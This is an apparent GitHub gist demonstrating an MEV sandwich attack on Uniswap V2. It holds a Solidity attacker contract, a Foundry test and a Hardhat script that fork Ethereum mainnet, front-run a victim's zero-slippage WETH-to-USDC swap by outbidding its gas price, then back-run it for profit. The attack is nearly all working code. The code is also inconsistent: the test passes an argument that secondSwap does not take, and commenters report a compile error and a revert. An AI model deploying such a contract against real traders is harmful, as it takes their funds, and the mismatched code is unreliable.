Skip to content

Instantly share code, notes, and snippets.

@GibranAkbaromiL
Last active October 15, 2023 12:49
Show Gist options
  • Save GibranAkbaromiL/05020630475f4f2599f72b47e52c7949 to your computer and use it in GitHub Desktop.
Save GibranAkbaromiL/05020630475f4f2599f72b47e52c7949 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
// Uncomment this line to use console.log
// import "hardhat/console.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IERC20 {
function balanceOf(address owner)external view returns(uint256);
function approve(address spender, uint256 amount)external;
}
contract Attacker {
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1
constructor() {
USDC.approve(address(Router2), type(uint256).max);
WETH.approve(address(Router2), type(uint256).max);
}
function firstSwap(uint256 amount)external {
address[] memory path = new address[](2);
//Swap from WETH to USDC
path[0] = address(WETH);
path[1] = address(USDC);
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200);
}
function secondSwap()external {
address[] memory path = new address[](2);
//Swap from USDC to WETH
path[0] = address(USDC);
path[1] = address(WETH);
uint256 amount = USDC.balanceOf(address(this));
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200);
}
function getUSDCBalance(address user)external view returns(uint256 result) {
return USDC.balanceOf(user);
}
function getWETHBalance(address user)external view returns(uint256 result) {
return WETH.balanceOf(user);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Attacker.sol";
contract Sandwich is Test {
Attacker public attacker;
address public victim;
string RPC_URL = "https://rpc.ankr.com/eth";
uint256 mainnetfork;
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1
function setUp() public {
mainnetfork = vm.createFork(RPC_URL);
vm.selectFork(mainnetfork);
vm.rollFork(17626926);
victim = vm.addr(1);
attacker = new Attacker();
deal(address(WETH), victim, 1_000*1e18); // victim initial balance
deal(address(WETH), address(attacker), 1_000*1e18); // attacker initial balance
}
function _frontrun() internal {
attacker.firstSwap(WETH.balanceOf(address(attacker)));
}
function _victim() internal {
vm.startPrank(victim);
WETH.approve(address(Router2), type(uint256).max);
address[] memory path = new address[](2);
//Swap from WETH to USDC
path[0] = address(WETH);
path[1] = address(USDC);
Router2.swapExactTokensForTokens(WETH.balanceOf(victim), 0, path, victim, block.timestamp + 4200); // the second parameter set to 0, to make it frontrunnable
vm.stopPrank();
}
function _backun() internal {
attacker.secondSwap(USDC.balanceOf(address(attacker)));
}
function testSandwich()public {
console.log("USDC Balance before (attacker) = ", attacker.getUSDCBalance(address(attacker)));
console.log("WETH Balance before (attacker) = ", attacker.getWETHBalance(address(attacker)));
console.log("USDC Balance before (victim) = ", attacker.getUSDCBalance(victim));
console.log("WETH Balance before (victim) = ", attacker.getWETHBalance(victim));
_frontrun();
_victim();
_backun();
console.log("USDC Balance after (attacker) = ", attacker.getUSDCBalance(address(attacker)));
console.log("WETH Balance after (attacker) = ", attacker.getWETHBalance(address(attacker)));
console.log("USDC Balance after (victim) = ", attacker.getUSDCBalance(victim));
console.log("WETH Balance after (victim) = ", attacker.getWETHBalance(victim));
}
}
// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node <script>`.
//
// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
// will compile your contracts, add the Hardhat Runtime Environment's members to the
// global scope, and execute the script.
const { network, ethers } = require("hardhat");
const hre = require("hardhat");
async function main() {
// Fork the mainnet
await hre.network.provider.request({
method: "hardhat_reset",
params: [{
forking: {
jsonRpcUrl: "https://rpc.ankr.com/eth"
,blockNumber: 17626926
}
}]
})
// Sets important vars to be use to demonstrate an MEV sandwich attack
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
const Router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
const [maliciousUser, victim] = await ethers.getSigners();
const amount = 1000000000000000000000; // 1_000 ETH
/////////////////////////////////////////////////////////////////////////
////// This Section of code responsible for balance manipulation ////////
/////////////////////////////////////////////////////////////////////////
const toBytes32 = (bn) => {
return ethers.hexlify(ethers.zeroPadValue(ethers.toBeHex(BigInt(bn)), 32));
};
const setStorageAt = async (address, index, value) => {
await ethers.provider.send("hardhat_setStorageAt", [address, index, value]);
};
/////////////////////////////////////////////////////////////////////////
// Deploy the code
const attacker = await ethers.deployContract("Attacker");
const maliciousContract = await attacker.getAddress();
console.log("Malicious contract:", maliciousContract);
//Manipulate Attacker contract balance to 1_000 WETH
const AttackerIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [maliciousContract, 3]); // key, slot
await setStorageAt(
WETH,
AttackerIndex,
toBytes32(amount).toString()
);
//Manipulate Victim balance to 1_000 WETH
const VictimIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [victim.address, 3]); // key, slot
await setStorageAt(
WETH,
VictimIndex,
toBytes32(amount).toString()
);
///////////////////////////////////////////////////////////////////////////////////////////////////////
////// This Section of code responsible logging victim and attacker malicious contract balnace ////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
console.log("attacker contract address = ", ethers.getAddress(maliciousContract));
const attackerUSDCBalanceBefore = await attacker.getUSDCBalance(maliciousContract);
const attackerWETHBalanceBefore = await attacker.getWETHBalance(maliciousContract);
console.log("USDC Balance Before (attacker) = ", BigInt(attackerUSDCBalanceBefore).toString());
console.log("WETH Balance Before (attacker) = ", BigInt(attackerWETHBalanceBefore).toString());
const victimUSDCBalanceBefore = await attacker.getUSDCBalance(victim.address);
const victimWETHBalanceVictim = await attacker.getWETHBalance(victim.address);
console.log("USDC Balance Before (victim) = ", BigInt(victimUSDCBalanceBefore).toString());
console.log("WETH Balance Before (victim) = ", BigInt(victimWETHBalanceVictim).toString());
///////////////////////////////////////////////////////////////////////////////////////////////////////
// Victim make an approval transaction, to give approval to router contract
const approveFunctionName = "approve";
const IERC20Interface = new ethers.Interface([
"function approve(address spender, uint256 amount) public"
]);
const approveParams = [
Router,
BigInt(amount)
]
await victim.sendTransaction({
to: WETH,
data: IERC20Interface.encodeFunctionData(approveFunctionName, approveParams)
});
// set the mining behavior to false, so the transaction will be collected in the mempool, before finalization
await network.provider.send("evm_setAutomine", [false]);
/////////////////////////////////////////////////////////////////////////
//////////// Victim made the transaction to swap their WETH /////////////
/////////////////////////////////////////////////////////////////////////
const functionName = "swapExactTokensForTokens";
const block = await ethers.provider.getBlock(17626926);
const params = [
BigInt(amount), // amount in
BigInt(0), // min amount out
[
WETH, // Asset in
USDC // Asset out
],
victim.address, // Receiving address
block.timestamp + 7200 // Deadline
];
const routerInterface = new ethers.Interface([
"function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) public"
]);
await victim.sendTransaction({
to: Router,
data: routerInterface.encodeFunctionData(functionName, params),
gasLimit: 500000,
gasPrice: ethers.parseUnits("100", "gwei")
});
/////////////////////////////////////////////////////////////////////////
// Attacker frontrun the transaction, by inflating gasPrice args
await attacker.connect(maliciousUser).firstSwap(BigInt(amount), {gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei")} );
// Attacker backrun the victim transaction, by lowering the gasPrice args
await attacker.connect(maliciousUser).secondSwap( {gasLimit: 500000, gasPrice: ethers.parseUnits("99", "gwei")} );
// log the pending transaction that will be included in the next block by using the pending block tag
const pendingBlock = await network.provider.send("eth_getBlockByNumber", [
"pending",
false,
]);
console.log("\n Pending Block = " , pendingBlock);
// Manually mine the block
await ethers.provider.send("evm_mine", []);
///////////////////////////////////////////////////////////////////////////////////////////////////////
////// This Section of code responsible logging victim and attacker malicious contract balnace ////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
const attackerUSDCBalanceAfter = await attacker.getUSDCBalance(maliciousContract);
const attackerWETHBalanceAfter = await attacker.getWETHBalance(maliciousContract);
console.log("USDC Balance After (attacker) = ", BigInt(attackerUSDCBalanceAfter).toString());
console.log("WETH Balance After (attacker) = ", BigInt(attackerWETHBalanceAfter).toString());
const victimUSDCBalanceAfter = await attacker.getUSDCBalance(victim.address);
const victimWETHBalanceAfter = await attacker.getWETHBalance(victim.address);
console.log("USDC Balance After (victim) = ", BigInt(victimUSDCBalanceAfter).toString());
console.log("WETH Balance After (victim) = ", BigInt(victimWETHBalanceAfter).toString());
///////////////////////////////////////////////////////////////////////////////////////////////////////
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
@OxfordStreet
Copy link

OxfordStreet commented Aug 15, 2023

In line 42 of the Attacker.sol, parameter 'uint256 amount' should be added & removed line 48 in the version which was revised in Jul 14, then you wont't get compiler error which says "error[6160]: TypeError: Wrong argument count for function call: 1 arguments given but expected 0.
"

@douglasbelizario
Copy link

Mine shows the following error: "Transaction reversed: function call to a non-contract account"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment